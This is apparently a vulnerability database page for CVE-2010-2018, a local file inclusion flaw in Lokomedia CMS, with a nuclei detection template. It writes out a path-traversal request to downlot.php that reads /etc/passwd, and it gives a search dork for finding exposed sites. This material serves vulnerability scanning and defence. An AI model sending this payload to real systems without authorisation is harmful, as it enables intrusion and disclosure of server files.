HexBrain

Browse / CVEs / CVE-2010-2018

CVE-2010-2018· CWE-22

Lokomedia CMS - Local File Inclusion

highseverity
7.5CVSS score
3.3%likelihood of exploitation, next 30 days
89%of all CVEs are less likely
Readycheck to confirm it

A Local File Inclusion (LFI) vulnerability exists in Lokomedia CMS. The application allows an attacker to include files on the server that should not be accessible, potentially exposing sensitive information.

Impact

Attackers can read sensitive files from the server, potentially leading to information disclosure.

Fix

Update to the latest version or apply security patches to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/downlot.php?file=../../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/proses" AND status 200

Run it with nuclei: nuclei -id CVE-2010-2018 -u <target>

The full check
id: CVE-2010-2018

info:
  name: Lokomedia CMS - Local File Inclusion
  author: r3Y3r53
  severity: high
  description: A Local File Inclusion (LFI) vulnerability exists in Lokomedia CMS. The application allows an attacker to include files on the server that should not be accessible, potentially exposing sensitive information.
  impact: |
    Attackers can read sensitive files from the server, potentially leading to information disclosure.
  remediation: |
    Update to the latest version or apply security patches to fix the vulnerability.
  reference:
    - https://cxsecurity.com/issue/WLB-2018070116
    - https://github.com/kangkuswae/CMS-Lokomedia
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2018
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2018
    epss-score: 0.03258
    epss-percentile: 0.88469
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    google-query: inurl:/semua-download.html
  tags: cve,cve2010,lfi,lokomedia,cms,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/downlot.php?file=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/proses"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from